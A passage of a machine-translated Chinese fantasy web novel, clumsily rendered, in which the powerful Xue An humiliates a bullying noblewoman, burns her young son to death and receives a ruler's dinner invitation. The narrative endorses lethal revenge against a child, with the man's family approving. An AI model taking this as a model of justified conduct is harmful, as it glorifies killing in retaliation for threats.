    Because Xuan Hailou is also one of the best restaurants in the seaport market. Not only does it have a generous monthly schedule, but it also gets some rewards from time to time. On the whole, it is much better than being a sailor.


    Today, Wang Ke was sent to the entrance of the restaurant to greet the guests.


    Wang Ke is very happy, because if he meets a generous customer, he will get a reward if he compliments a few words.


    There are a lot of guests today, and Wang Ke feels that his face is about to burst into laughter.


    After finally being busy for a while, he was about to lean on the door frame to catch his breath when he saw a family walking down the street.


    Wang Ke was about to greet him, but when he took a closer look, he couldn''t help being stunned.


    Because the family who came here is so handsome.


    Walking in front is a pair of pink jade-like little girls, wearing exactly the same clothes, wearing exactly the same hair buns, they look like walking down in the painting.


    followed by a man and a woman.


    The man has a long jade body and a handsome face, and his gestures reveal a natural extravagance.


    And when Wang Ke saw the woman on the side, he was even more stunned.


    As a member of the Xuanhai Tower, Wang Ke has seen the world.


    But when he saw this woman, Wang Ke suddenly understood what is truly stunning.


    Such a high-value family gathered together, naturally attracting the attention of countless people.


    And just when Wang Ke was still a little silly.


    Xue An stopped, looked up at the restaurant, smiled faintly, "That''s what they said!"


    Wang Ke woke up at this time and hurriedly greeted him, "Are some guest officials here for dinner?"


    Xue An nodded, "Are there any rooms?"


    Wang Ke smiled apologetically, "I''m really sorry, there are no private rooms today, but there is still a place in the lobby!"


    Xue An turned his head to look at Xiang An Yan.


    An Yan is a little unaccustomed to being stared at by so many people, she can''t help but secretly pinched a decisive action, shielding part of her face, and then whispered: "Then go in and taste it!"


    The seats in the lobby have already taken a lot.


    But after Xue An''s family arrived, the noisy lobby instantly became quiet.


    "Guardian, what do you want to eat?" Wang Ke said eagerly.


    Although he can''t recognize Xue An''s identity, he knows that he is not an ordinary person when he looks at his words and deeds, so he has been careful to entertain him.


    Xue An said lightly: "Whatever you are good at!"


    "Good!" Wang Ke went down to greet.


    After a while, the food was brought up like running water.


    I have to say, the food at Xuan Hailou really tastes good.


    At least two little girls ate it happily.


    Especially Nian Nian, this snack product, seemed to dislike the slowness of chopsticks, so he started to use it, holding a prawn, and started to nibble.


    Such a naive attitude naturally attracted some kind smiles.


    Thinking about it, but it feels a bit embarrassing, I can''t help kicking it underneath.


    Niannian swallowed what was in her mouth, and asked in a daze, "Sister, what are you doing for kicking me?"


    I feel helpless, "Fumnily, can you order a lady when you eat!"


    "Lady?" Nian-nian shook her head, "I don''t want to be a lady, or I won''t even eat anything!"


    Nian-nian lowered her head and began to concentrate on dealing with the prawn in her hand.


    Xue An has been watching this scene with a smile, just about to say something.


    At this moment, there was a loud noise outside the door, and then there was a loud slap in the face.


    A female voice said very arrogantly: "What are you, you dare to come and greet me?"


    The words made the people in the hall look at him.


    Xue An couldn''t help frowning and turned to look.


    At the entrance of Xuanhai Tower, a luxurious carriage stopped by the road, and two people, one large and one small, came down from above.


    The big one is a woman with luxurious clothes and heavy make-up, while the small one is a little boy.


    Wang Ke, who just greeted the Xue An family, is now bowing his head.


    On his face, there was a slap print.


    It was this arrogant woman who hit it.


    Although his face swelled up at the speed visible to the naked eye, Wang Ke didn''t even dare to move. He just trembled: "Mrs. Jin, I''m really sorry, I am reckless!"


    And this scene also made many diners in the lobby look angry.


    And An Yan frowned, and then whispered: "Husband, do you want to block this scene?"


    Xue An shook his head lightly, and said with a smile: "They will come into contact with this kind of thing sooner or later. Let''s take a look first. There is no loss!"


    An Yan hesitated to speak, and finally sighed slightly.


    "Huh!" At this time, the woman snorted coldly in her nostrils, and then said arrogantly: "Arrange a box for me!"


    Wang Ke trembled all over, and then smiled bitterly: "Mrs. Jin, I''m really sorry, there is no more room today!"


    "What did you say?" Madam Jin raised her voice.


    Wang Ke swallowed, and said bitterly, "Today...all the boxes for today have been set out!"


    Happiness!


    There are two more loud slaps Many people didn''t even see how this Mrs. Jin succeeded, and Wang Ke''s face was slapped into a pig''s head.


    But even if he was beaten like this, Wang Ke still did not dare to move. Instead, he nodded and bowed, and said vaguely: "I''m really sorry, Mrs. Jin, you have been wronged."


    "Aggrieved? Ha ha, just relying on you little Xuan Hai Tower, believe it or not I can make you wiped out with a word?" This Mrs. Jin said very arrogantly.


    "Yes, yes! We naturally know!" Wang Ke kept bending over and said yes.


    At this moment, I saw the little boy who was following the Madam Jin suddenly saying: "Do you know you still kneel down?"


    Wang Ke''s eyes showed grief and despair.


    Because he knew that he could not provoke this Mrs. Jin, not only could he not provoke it, but also the entire Xuanhai Tower.


    In fact, when the carriage stopped at the door just now, he was already scared.


    Because every time this Mrs. Jin came, the shopkeeper who served her would suffer an innocent disaster.


    It was the same last time, and Wang Ke was responsible for the reception, but he didn''t get out of bed for three days after being beaten.


    I didn''t expect that this time I still couldn''t escape the disaster.


    Although Wang Ke was not reconciled, he finally knelt down slowly.


    :. :

 Chapter 1042： Bear kids without tutors, really should...

    The little boy stepped forward suddenly, slapped his hand again.


    Although he is still young, but because of his good bloodline talent, he already has a deep cultivation base, so Wang Ke slapped the corner of his mouth with blood.


    Then the young master Jin said indifferently: "Dare to do this next time, be careful of your dog''s life!"


    The whole audience was quiet, and many people couldn''t help feeling a little trembling when looking at the indifference on the face of this innocent boy.


    But this Mrs. Jin was not ashamed but proud, and even giggled.


    "Okay! Is this the young master of our Jin family! My mother keeps telling you that you can''t have a good face for these lowly things, otherwise they will smash their noses!"


    "Hmm, mother! I know!" This young master Jin couldn''t help being proud of her mother''s affirmation.


    And this scene also made many people look angry, but no one dared to say anything.


    Because the Jin family is a wealthy family that can be counted in the entire Cursed City, let alone slap Wang Ke, even if Wang Ke was killed directly, no one would dare to care about it.


    "What are you doing in a daze? Don''t hurry to arrange a private room for us!" Mrs. Jin shouted.


    Wang Ke was full of despair and humiliation, and was about to get up.


    At this moment, I witnessed the whole process of Nian Nian putting down the prawn in his hand, and his small face was full of serious questions: "Dad, why is this bad aunt bullying this big brother?"


    Xue An smiled, but did not directly answer Nian Nian''s words, but looked aside and thought about it.


    "Think about it, what are you saying?"


    Think about it, tilted his head and said, "Dad, is it because they think they are superior?"


    Xue An nodded, and then said faintly: "Think about it, that''s right, there are always people in this world who think they are superior!"


    ''S words were not loud, but they spread throughout the audience.


    This Mrs. Jin suddenly turned around and said angrily: "Who is saying...huh?"


    Then she was stunned.


    Because she found a boy in white clothes sitting not far away, his face was indifferent.


    And beside this boy is a stunning woman.


    Next to ���� there are two little girls who are carved and carved.


    This combination made the Madam Jin swallow all the words that followed.


    Because she instinctively felt that the identity of this teenager should be extraordinary, especially the natural temperament, obviously not ordinary people.


    But she didn''t speak, but the young master Jin was bright.


    Don''t think he is only seven or eight years old, but because he has cultivated since childhood, his height is the same as that of a eleven or twelve-year-old child, and the pampering and dignity since childhood has developed his extremely arrogant personality.


    When he saw the thinking and thinking sitting there, a flame burned in his eyes, then he licked his lips, and suddenly said, "Mother, I don''t want to go to the private room for dinner. We are also in this lobby. Eat it!"


    Mrs. Jin was taken aback, but she knew her son is better than her mother. She quickly understood her son''s intentions and couldn''t help but smile and nodded.


    "Okay!"


    As she said, she glared at Wang Ke again, "What are you still doing in a daze? Don''t hurry up and clean up the table for us!"


    Wang Ke went here only as promised.


    But now there is only one table left in the lobby, and it is next to Xue An''s table.


    Wang Ke naturally heard what Xue An had just said, and knew that he was showing up for himself. He couldn''t help but feel grateful, so he wiped the table while lowering his voice and said, "My lord, if there is nothing wrong with you, you should leave quickly. Come here!"


    "Oh? Leave? Why should I leave?" Xue An asked with a smile.


    Wang Ke smiled bitterly, "Did you not see my face? This is not annoying to us ordinary people, mother and child! Especially her son, is a demon king! There are such two little girls by your side, if he... ...."


    Speaking of this, I already understand it.


    Xue An just smiled when he heard the words, "Thank you for the reminder, but I have a habit of having to finish the meal first, no matter how big the matter is!"


    "But..." Wang Ke was a little worried.


    Xue An waved his hand gently, interrupted him, and suddenly asked, "What will you be up to now?"


    Wang Ke was taken aback for a moment, and then shook his head with a wry smile, "What else can I do? You didn''t see the mother and son, did all the cousins ??hide away? Even our shopkeeper avoided! Because no one knows. When will I be slapped in the face!"


    "So now I''m the only one here. I have to stay and serve them!"


    Speaking of this, Wang Ke''s eyes are full of fear.


    Xue An smiled, "That''s right, if you have nothing to do, you can watch it here!"


    "Lively?" Wang Ke still wanted to ask.


    At this time, Mrs. Jin led her son and walked over impatiently.


    "Does it take you to wipe the table for a long time? Go ahead and wait!"


    "Yes, yes!" Wang Ke hurriedly responded, then looked at Xue An with a worried look, and finally retreated to the distance.


    At this time, the other diners in the lobby had already seen something wrong, got up one after another, and left quietly.


    in an instant.


    The two tables Xue An and Mrs. Jin are left in the lobby.


    The atmosphere began to become weird.


    Xue An has been eating slowly, and An Yan did not say a word, but was peeling shrimp shells for two little girls.


    And Mrs. Jin, the mother and son, looked over from time to time, as if they were waiting for something.


    at last.


    A domestic slave ran in hurriedly outside the door, and then leaned into Mrs. Jin''s ear and said a few words.


    Madam Jin''s eyes lit up, and then she winked at her son.


    The young master Jin smiled, and then he leaned over with a plate of prawns.


    "Sister, do you like shrimps?" The young master Jin nian asked first.


    Because Nian-nian has the most shrimp shells in front of me, I eat the best.


    Nian Nian Wenyan glanced at the young master Jin, then turned his head and continued to compete with the prawn.


    This is equivalent to hanging the young master Jin directly aside.


    Since childhood, he has been pampered ~ www.novelhall.com~ The young master Jin, who is regarded as a baby wherever he goes, his face instantly darkened.


    But he barely endured it, and then looked back and thought, "Little sister, what is your name? Can you meet me?"


    Thinking about it, he didn''t even raise his head, just glanced at him, and then said coldly: "No!"


    This sentence directly blocked the words behind the young master Jin.


    He looked at the little sisters with a fluctuating expression, and a touch of schadenfreude suddenly appeared in his eyes, and then he pretended to accidentally throw the plate away.


    The plate full of prawns flew towards Niannian, who was immersed in the food.


    But just when this plate and the sky full of oil are about to fall on Niannian.


    Xue An sighed, "The bear child without a tutor is really...damn it!"

 Chapter 1043： Is this picture beautiful?

    Following the voice, the plates that were about to fall and the sky full of greasy dirt suddenly turned upside down, and they were all buckled on the young master Jin''s head.


    Because of the excessive momentum, the plate cracked and cracked, and the oil was dripping down his head.


    Because the braised prawns are just out of the pot and the temperature is very high, you can hear the grilling sound wherever the oil stains, and then you can see that the skin starts to foam at a speed visible to the naked eye.


    This kind of pain made the young master Jin scream.


    "Ahhhhhhhhh, mother, someone bullied me!"


    Mrs. Jin, who had been standing in the distance preparing to watch a good show, was startled at first when she saw that her son was beaten, and then became furious and rushed over.


    "Chuner, how are you?"


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh, mother!


    Mrs. Jin saw her son become like this. Although this kind of injury is nothing to the practitioner, how can Mrs. Jin, who has always been arrogant, tolerate the loss of her son?


    So she raised her head and shouted at Xue An, "Why are you bullying my son?"


    "Bull your son?" Xue An laughed blankly, and then said lightly: "Everyone is watching, I haven''t moved from start to finish, how can I bully your son?"


    "You are talking nonsense, how come that plate is all on my son''s head all of a sudden?" Mrs. Jin angered.


    "I don''t know, maybe there was a sudden gust of wind!" Xue Anhao said leisurely.


    "You..." Mrs. Jin was going crazy.


    The reason she just waited for a while before letting her son over was because she hadn''t met Xue An and was worried that she would be a strong outsider. After all, the city of cursed had recently come to many strong people because of the emergence of the gods.


    So she secretly ordered her subordinates to inquire about it, and it turned out that no one had seen this Xue An, and she was not a wealthy son or a strong talent.


    So she assured her son to go there.


    But I did not expect to have such a huge loss!


    You must know that Mrs. Jin��s consistent principle is that she can bully others, but others must not bully herself.


    "It''s your son, who is carrying a plate of prawns and intends to deduct it all on my daughter. What do you plan to do with this account?" Xue An said lightly.


    Mrs. Jin said angrily: "My son just wanted to make friends with your daughter, and what just happened was not intentional at all! And my son is just a child, can''t you tolerate it?"


    Xue An heard that the smile on his face grew stronger, but his eyes gradually cooled down.


    "Still a child? Ha ha, if my daughter was detained just now, would you have to say the same?"


    "So what? My son didn''t do it on purpose anyway! And you are such an adult, why are you having trouble with my son?" Mrs. Jin said arrogantly.


    At this moment, there was a faint noise outside the door.


    There was a sneer at the corner of Mrs. Jin''s mouth.


    The reason why she didn''t do it directly, but used words to delay time, was waiting for the Jin family to arrive.


    She is a very cautious person. Although Xue An''s origin has not been found, what if she is some hidden power!


    So just to be safe, she ordered someone to return to Jin''s house just now to call someone.


    As long as their own people arrive, none of these people can run away.


    At this moment, Xue An nodded and said lightly: "You''re right, I really shouldn''t have trouble with your son!"


    Mrs. Jin sneered as she was about to say something when she saw Xue An, who had been sitting on a chair, suddenly appeared in front of the Mrs. Jin, and then she slapped her hands twice.


    With two extremely clear noises, this Mrs. Jin was directly fanned out, until two tables were smashed before she could stop.


    These two slap fans are much harder than when their mother and son slap Wang Ke just now.


    At least the sound shook the beams of the room, and the face of Mrs. Jin began to swell at a speed visible to the naked eye.


    In an instant, only the small slit in the eye was swollen.


    The audience was shocked this time.


    People never thought that this seemingly gentle boy would be so resolute and straightforward.


    At this time, Xue An smiled at Wang Ke who was trembling in the distance.


    "The two slaps that she slapped you, I got it back for you! Are you satisfied?"


    �.


    Everyone''s eyes focused on Wang Ke.


    Wang Ke was pale and trembling all over, he almost cried in fright, unable to speak at all.


    Xue An sighed softly, "It seems that I am still not satisfied!"


    At this moment, Mrs. Jin, who was slapped to the ground, finally awakened from a dazed state, and then yelled resentfully: "Dare you hit me?"


    As soon as the voice fell, Xue An stood there and slapped casually.


    Snapped!


    Although they are far apart, the slap is still directly slapped by Mrs. Jin flying from the ground, and then falling heavily.


    After landing, she opened her mouth and spit out a mouthful of blood mixed with tooth fragments.


    "You are the one who hit! Actually, I really don''t like hitting women, but why do you always bring your face to let me hit?" Xue An sighed lightly.


    This Mrs. Jin trembled all over, if her eyes could kill people, she really wanted to cut Xue An thousands of times.


    At this moment, the sound of footsteps outside was about to enter the door from far to near.


    At the same time, I heard an old but majestic voice coming in, "Who is it? Who dares to bully my Jin family?"


    The young master Jin Chun lifted up his spirits and cried out in a crying voice: "My father, I am here! Someone beat me and my mother!"


    After speaking, he yelled at Xue An with a bitter expression on his face: "You''re done, my father has arrived. I will catch you all by then, and then use hot oil to bite these two little sluts. All burned to death!"


    These tyrannical words made An Yan, who has always been good-tempered, furious, "husband..."


    Before she finished speaking, Xue An had already appeared in front of Jin Chun, and then as if there was an invisible rope bound to him in the void, Jin Chun''s body floated.


    Then he looked at Xue An with horror, "What do you want to do? My father is the head of the Jin family..."


    Before he could finish, Xue An shook his head, and said coldly, "It''s useless!"


    "No matter who your father is, go to death today!"


    After talking A group of white flames rose into the sky, and hit Jin Chun in the air.


    At the same time, an anxious shout came from outside the door: "Keep your hand!"


    But Xue An didn''t care about all this at all.


    The white flame directly enveloped Jin Chun completely, and then began to scorch wildly.


    The pain of the flame burning the body is so huge, just a breath, this Jin Chun collapsed and howled miserably.


    And this scene also made all the middle-aged men who rushed in were all in his eyes. He roared in disbelief, "Chun''er!"


    But at this moment, Jin Chun''s body gradually disintegrated in the flames, and finally turned into nothingness.


    The middle-aged man stood blankly on the spot like being struck by lightning.


    And Xue An slowly turned his head, looking at the middle-aged man, a cold smile appeared at the corner of his mouth, "Is this picture beautiful?"

 Chapter 1044： face? How much is a jin worth of face?

    "Chun''er!" Madam Jin, who was sitting on the ground, reacted first and let out a scream.


    Then knelt and crawled beside the middle-aged man, crying and shouting: "Master, you have seen it all, you have to avenge Chuner!"


    The middle-aged man who is called the master by Mrs. Jin is Jin Xiong, the head of the Jin family.


    I saw Jin Xiong''s face extremely gloomy, but he didn''t do anything, but stared at Xue An firmly, then took a deep breath and said slowly.


    "Friend, although my son Jin Chun has everything wrong, he is still a child after all, but you directly let him die and never super live. Such a shot would be too harsh!"


    To everyone''s expectation, the Jin Xiong spoke surprisingly politely. Although he was also questioning, he obviously didn''t have that aggressive attitude, and even sounded like he was discussing something.


    This surprised many people.


    At least this Mrs. Jin was stunned.


    Xue An laughed when he heard the words, and then played with the taste: "The shot is so spicy? Hehe, then why don''t you say what your son said? I let him die so quickly, it is already considered kind, otherwise... I will let him die after receiving the long pain!"


    Xue An''s remarks made Jin Xiong''s complexion even more ugly, but before he expressed his position, the lady Jin had already jumped up uncontrollably.


    "Master, how arrogant you are to hear what he said! Chun''er is now completely destroyed, and I was beaten into this appearance by him. You must be the master for me and Chun''er!" Mrs. Jin has a vicious face. Said.


    The attitude is arrogant, obviously because he feels that Jin Xiong is here and he has a fight.


    But at this moment, something that no one had anticipated happened.


    Seeing Jin Xiong''s expression change, then as if making some determination, he directly slapped Mrs. Jin who had just stood up to the ground again.


    "Asshole, when a man speaks, when is it your turn for women to interrupt?"


    This time, this Mrs. Jin was completely dumbfounded. She looked at her husband with a bewildered face, and even wondered if she went out today and didn''t read the almanac, otherwise she kept fanning her.


    At this time, Jin Xiong''s expression became polite, and he even held a fist at Xue An.


    "My friend, I''m really sorry, my wife is young and ignorant, please don''t be familiar with her!"


    Including Wang Ke, the second person in the shop, everyone present felt that they had heard it wrong.


    Xue An killed his son in front of Jin Xiong, but it was Jin Xiong who apologized to Xue An instead.


    And this still happened to the Jin family, who is always known for its arrogance and domineering.


    This is incredible.


    Xue An was not moved at all, but looked at Jin Xiong coldly.


    The smile on Jin Xiong''s face gradually solidified, but he still kept his fists and hands.


    It wasn''t until half a cup of tea that Xue An lowered his eyes and said lightly: "Now... don''t you think I''m making a shot?"


    Jin Xiong sighed, "My friend, I was impulsive just now, but when I think about it carefully now, what you said is not unreasonable. After all, this matter is because my son Jin Chun was wrong. You killed him. Because of it! And as a father, I can hardly escape the blame!"


    These awe-inspiring remarks made many people even more suspicious of life, especially Mrs. Jin, who was simply stupid.


    Xue An suddenly chuckled, then looked at Jin Xiong with a playful look, and said lightly: "You are a wonderful person who knows how to advance and retreat!"


    Jin Xiong nodded and bowed and smiled, "You made a joke! If it is convenient for you, you can also come to my Jin''s house as a guest. It is my apology to you!"


    Xue An turned a deaf ear to Jin Xiong''s invitation, but turned his head to look at the two little girls and smiled slightly.


    "I miss you, are you full?"


    The two little girls nodded together, "I''m full!"


    "We are full, then let''s go!" Xue An got up and led the family to leave.


    From the beginning to the end, Xue An regarded the Jin Xiong who was standing bowed like air.


    Such an attitude made Jin Xiong''s eyes flashed with coldness, but the smile on his face increased.


    At this time, Xue An passed by Wang Ke, the second in the shop, suddenly stopped, and threw a spar over.


    Wang Ke hurriedly caught, and then said with a look of horror: "Big...sir!"


    "This is money for meals, no need to look for it!" Xue An said with a smile.


    Wang Ke gradually widened his eyes, because he never dreamed that a strong man like Xue An would even pay for meals.


    At this time, Xue An seemed to think of something, turned his head and said to Jin Xiong: "By the way, this matter has nothing to do with the shop''s second person. I don''t want to hear bad news about him later, otherwise..."


    "I will turn my anger against your Jin family members!"


    The Jin Xiong trembled all over, and there was a look of irritation in his eyes, but he nodded and responded: "Yes!"


    Xue An just smiled and added, "Also, I hope you can take care of this stupid woman, because next time, I might not be in this good mood!"


    After all, Xue An led the family out of Xuanhai Tower.


    Jin Xiong stood on the spot, his face fluctuating, sometimes angry and sometimes resentful.


    At this moment, Mrs. Jin stood up tremblingly from the ground, staring at Xue An''s back with extreme resentment, and then asked inexplicably: "Master, just let this guy go like this? Shall I send a few people to follow him? See where his lair is, and kill him at night?"


    As soon as the voice fell, Jin Xiong slapped his hand again, and slapped the Madam Jin to the ground again.


    This hapless Mrs. Jin is really going to cry.


    She really can��t understand why no one seems to be having trouble with her face today!


    How many slaps did you get?


    If you continue to fight like this, your face will really become a pig''s head.


    "It''s all because of you, an idiot, that Chun''er''s life was lost in vain! He also sent someone to follow him. If you think someone is stalking, he won''t be able to tell him?


    Mrs. Jin trembled all over, she didn''t dare to say anything.


    Jin Xiong stared at the direction Xue An was going away, his eyes were extremely dark.


    He is not a fool In fact, it is impossible for a fool to be the head of the family in this cursed city.


    So when he rushed into this Xuanhai Tower and saw the scene where his son was born and refined by flames, Jin Xiong vaguely perceives that Xue An is definitely not an ordinary person.


    Because the fleeting white flame is obviously not mortal.


    When he waited for a slight contact later, he was even more terrified.


    He found that he could not see Xue An''s cultivation based on his own cultivation.


    When facing Xue An, he felt that he was facing an unfathomable deep pool, which made his heart chill.


    This kind of feeling naturally made the experienced Jin Family Patriarch not dare to act rashly. After all, his son can be reborn if he dies. If his life is gone, he will have nothing.


    What''s more, it��s not too late to hold on to the other party with words, and then find a way to get revenge later.


    As for face, how much is that thing worth a catty?

 Chapter 1045： 1 invitation

    "Go!" Jin Xiong shouted coldly, and then led Mrs. Jin, who was bleeding down her nostrils, to leave.


    But when he passed by Wang Ke, he couldn''t help but take a deep look at the shop Xiaoer, and then a flash of doubt in his eyes.


    Because he could see that this Wang Ke is just an ordinary shopkeeper, without any uniqueness.


    But why did that young man exhort him specifically for such an ordinary person?


    Could there be other reasons?


    Jin Xiong was puzzled, and he didn''t even think that Xue An did it because of respect for people.


    Because in his eyes, people like Wang Ke can''t even compare to a spirit beast he raises.


    Jin Xiong left with a look of confusion.


    And this arrogant and domineering Mrs. Jin when she first came here has become much more honest now, she didn''t even dare to look at Wang Ke, but left her head in a hurry.


    Wang Ke stood in the corner, looking at the Jin family who had left in panic, and gradually laughed.


    The smile was very cheerful, but when he smiled, tears appeared in the corner of his eyes.


    at the same time.


    On the way back to the residence, An Yan was somewhat silent.


    When he was about to reach his destination, An Yan couldn''t help but yelled: "Husband!"


    "Huh?" Xue An raised his head to look at An Yan, "Yan''er, what''s wrong?"


    An Yan thought for a moment, but in the end he just sighed, then shook his head, "Nothing!"


    Despite that, An Yan��s eyes betrayed her.


    Xue An naturally understood what An Yan was because of, he couldn''t help but smiled, and then took An Yan''s hand.


    "Do you think what I did just now was too violent?"


    An Yan was silent for a moment, then nodded, "Husband, I..."


    Xue An smiled and waved his hand, preventing An Yan from continuing to speak, and then said lightly: "Yan''er, maybe you still don''t understand what a very important rule of the game is in the heavens and the world."


    An Yan was taken aback, "What?"


    "Everyone must be responsible for what they say, no matter who it is, they must pay the price they deserve!"


    "And...you may not understand my feelings!" Xue An said lightly.


    "In the eyes of many people, the guy just threatened with words, and the crime is not dead! But to me, if you dare to threaten my family, no matter who it is, there is only one consequence, and that is, the soul is destroyed and disappears completely. in this world!"


    An Yan nodded thoughtfully, but couldn''t help but said: "Husband, I actually hate that guy too much, especially when he speaks so viciously, but you did it in the face of missing you after all! Will this..."


    Xue An smiled, and then walked a few steps to catch up with the two little girls who were eating snacks in front.


    "I miss you, do you think... Did your dad just do it right?"


    Think about it and nodded without hesitation: "Dad did the right thing!"


    "Oh? Why do you say that?" Xue An asked with a smile.


    "Because that boy is particularly annoying, especially when he said such vicious things! Just imagine, if he met other girls instead of us, he might have succeeded! So I think he is a big man Bad guy! He deserves to be killed by his dad!" Thinking about it, the little face said very seriously.


    Xue An smiled and rubbed his thoughtful hair, "Good boy!"


    Then he turned his head to look at Nian Nian, "Nian Nian, what do you think?"


    Niannian swallowed the snacks in her mouth, frowned and thought for a while, and then said: "I think the seafood there is really delicious, dad, when shall we eat it again!"


    These words made Xue An, An Yan, and thinking about it all a little dumbfounded.


    Then I thought about the hatred of iron and steel, and pinched Nian Nian''s tiny face, "Stupid Nian Nian, can''t you think of something else?"


    "What do you think? I think it is not important to eat anything! Eating is the happiest thing in the world!" Nian Nian said, of course.


    I stomped my feet with anger.


    Xue An laughed loudly when he heard the words, then blinked at An Yan and whispered in her ear.


    "Yan''er, have you seen it? Never underestimate your children, because their ideas may be smarter than you! Are you right?"


    An Yan was worried that the two daughters could not bear the scene just now. It turned out that she was too worried, so she smiled and nodded.


    "Hmm!"


    When the family returned to their residence happily, they found that the atmosphere was a little strange.


    I saw people sitting in the living room.


    Meng Lei and Zhuo Yangyang are among them, but the two of them at this moment are all extremely solemn.


    After seeing Xue An, Zhuo Yangyang and Meng Lei both stood up.


    "grown ups!"


    Xue An nodded, "What''s wrong?"


    Meng Lei gave a long sigh, and then handed Xue An an invitation card, "Let''s take a look, this is just delivered this afternoon!"


    Xue An took it and opened it up, but he was also startled, and then a smile slowly appeared at the corner of his mouth.


    "Interesting!"


    Meng Lei thought that Xue An would definitely change his face when he saw this invitation, at least he would have to look solemn, but he never expected him to laugh, and he couldn''t help but feel a little surprised.


    "My lord, what do you think?"


    "What do you think? Since the queen invited me to the dinner, then go and see the excitement!" Xue An said lightly.


    This invitation is the cursed queen from the city lord''s mansion.


    It is very clear that the city lord��s mansion will host a dinner tomorrow evening, and strong people from all sides will attend. I hope Xue An will be there too!


    Xue An''s words made Meng Lei stunned. It was only after a while before he said with a dazed expression: "Sir, are you really going?"


    "Go, of course, why not go?" Xue An asked with a smile.


    Meng Lei looked at Xue An in surprise.


    In fact, from the moment he got the invitation, his heart was occupied with fear and horror.


    Because this cursed queen is the strongest in this universe, especially in charge of the cursed city for so many years, she has established a strong prestige.


    If he is against Zhuo Jia, he still has a little confidence, when facing the cursed queen, he really feels scared.


    Especially this invitation card was sent directly to the small building This shows that the queen has known that Xue An lives here.


    But this stronghold is a secret place that Meng Lei carefully prepared and used to escape at a critical moment.


    But in front of this cursed queen, all secrets are invisible.


    Thinking about this carefully made Meng Lei''s heart cold.


    But Xue An��s reaction was so indifferent, and even this Meng Lei had a very ridiculous feeling.


    "My lord, this matter is not trivial, do you want to think about it?" Meng Lei said a bit.


    "Think about it?" Xue An shook his head, and then smiled at Zhuo Yangyang, who was pale on the side. "The Zhuo family will definitely attend this dinner, and you will come with me too!"


    "Me too?" Zhuo Yangyang was taken aback.


    Xue An nodded and said lightly: "Of course!"

 Chapter 1046： Magic pattern

    "But..." Zhuo Yangyang hesitated.


    Xue An said lightly: "If you still want to get back your own things, then be prepared to go with me tomorrow, or forget it!"


    After all, Xue An led An Yan''s family straight to the second floor, leaving a group of people looking at each other in the living room.


    "Miss, how did you plan?" Meng Lei asked hesitantly.


    Zhuo Yangyang''s expression changed, but his eyes gradually became determined, and finally he said in a deep voice, "Uncle Meng, I want to go!"


    Meng Lei just wanted to say something.


    Zhuo Yangyang said seriously: "Uncle Meng, needless to say, I understand what you mean! I am not here to prove how great I am, nor because I want to get something back!"


    "In fact, the reason I want to go is that this dinner is obviously very unfavorable to Master Xue!"


    "When the Zhuo family is going, the people of Tianfu Pavilion will definitely come forward! The position of the Queen of Curse is unknown, but obviously it is not too optimistic! This situation of powerful enemies is really dangerous!"


    "But to a large extent all of this is caused by me! I can''t shrink back at this time, but let Master Xue who helped me face it alone!"


    "I remember you once said that receiving the favor of someone''s water will return the spring! So this time, I am willing to advance and retreat with Master Xue...Simultaneous death!"


    When she said this, Zhuo Yangyang''s face was extremely calm, but her eyes shone with a bright light that she had never seen before.


    Meng Lei looked a little surprised, then a smile gradually appeared at the corner of his mouth, and he nodded heavily.


    "Okay! This is the true spirit of the Zhuo family''s children. This time, Meng Lei, I will give everything and accompany Master Xue on this trip!"


    "Uncle Meng, you..." Zhuo Yangyang was taken aback, and planned to dissuade.


    Meng Lei waved his hand and said indifferently: "Although the cultivation base and status are far inferior to those high-ranking figures, we are not ants to be trampled on. Regarding bones, my people are not bullshit!"


    Talking, Meng Lei looked around the audience and said softly: "Little ones, do you dare to go this trip together tomorrow?"


    The sailors in the living room all shouted in unison with a solemn expression: "Wish to do the same thing!"


    Shocked in unison, Meng Lei laughed.


    "Okay! Then tomorrow, let''s let the big guys in the city see how good our sailors are!"


    After going upstairs, the two little girls returned to Fu Bao Xiaolou.


    An Yan couldn''t help but asked softly: "Husband, what do you say this dinner is for?"


    "It should be for the **** pattern that is about to emerge!"


    "Husband, I always mention this **** pattern these days, but what exactly is this **** pattern?" An Yan asked curiously.


    Xue An smiled, "The so-called **** pattern refers to the talisman seal conceived from the fallen ancient gods!"


    "You must know that the more you go back, the stronger the power of the Protoss! The power of the Protoss now has degraded too much! In the ancient times, those ancient gods had the power to destroy the heavens and the earth at every turn, and there were even more. Peerless true god, that is, the existence of the immortal king and even the immortal emperor!"


    "When these ancient gods in the back fall one by one, **** patterns will be bred on those powerful ancient gods!"


    "Then what is this **** pattern used for?" An Yan asked.


    "Speaking of infinite usefulness, but a large part of it is false rumor and prophecy of the Protoss, but I know its most important use!"


    "what is the usage?"


    Xue An smiled, "This **** pattern can raise the rank of Fubao!"


    "Raise the rank of Talisman?" An Yan was taken aback, and his eyes suddenly lit up, "Husband, you mean..."


    Xue An smiled and nodded, "Although our Fubao Xiaolou is still enough for now, it will be upgraded sooner or later, so now is a good opportunity!"


    An Yan understood why Xue An had been waiting in this cursed city.


    "But... will the strong people in this area give up so easily?" An Yan asked with some worry.


    Xue An gently fiddled with An Yan''s long hair that fell on his mouth, and said in a calm tone: "It''s okay for them to give up, or not to give up. Anyway, I have to decide on this **** pattern. Then... I can''t help them. !"


    As Xue An said.


    This dinner has a very wide spread.


    The big wealthy families in the city, and the powerful people who came from everywhere, all received invitations from the City Lord��s Mansion.


    At this sensitive moment, many people know what it means to curse the queen suddenly to hold a dinner.


    So although this dinner has not started yet, a big storm is already brewing in the dark.


    But just as this dinner sensationalized the entire Cursed City, a strange name also appeared in front of everyone.


    "Who is Xue An? Why was he also invited by the Queen?" Someone asked in astonishment.


    "I remember, was it the one who made a big fuss in Zhuo''s house before and killed Xu Bao in Tianfu Pavilion?" someone said.


    "That''s right, it''s him! I didn''t expect that he also received an invitation! Tsk tsk, it''s really lively now!"


    "Who says no, let��s not talk about Zhuo��s family. Even the people of Tianfu Pavilion will not give up. Especially the famous ladyboy brother Kang Huazang of Tianfu Pavilion is in the city. This dinner is expected to be lively. Extraordinary!" Another person sighed.


    "Let me say that Xue An will definitely not go to this dinner, because it is unclear whether he is going to die?" someone asserted.


    But this conclusion has made many people agree.


    "Yes, I also think he should not go, because even a fool would not be ignorant of the danger this time! Unless he thinks he can crush the audience, but is that possible?"


    In these discussions.


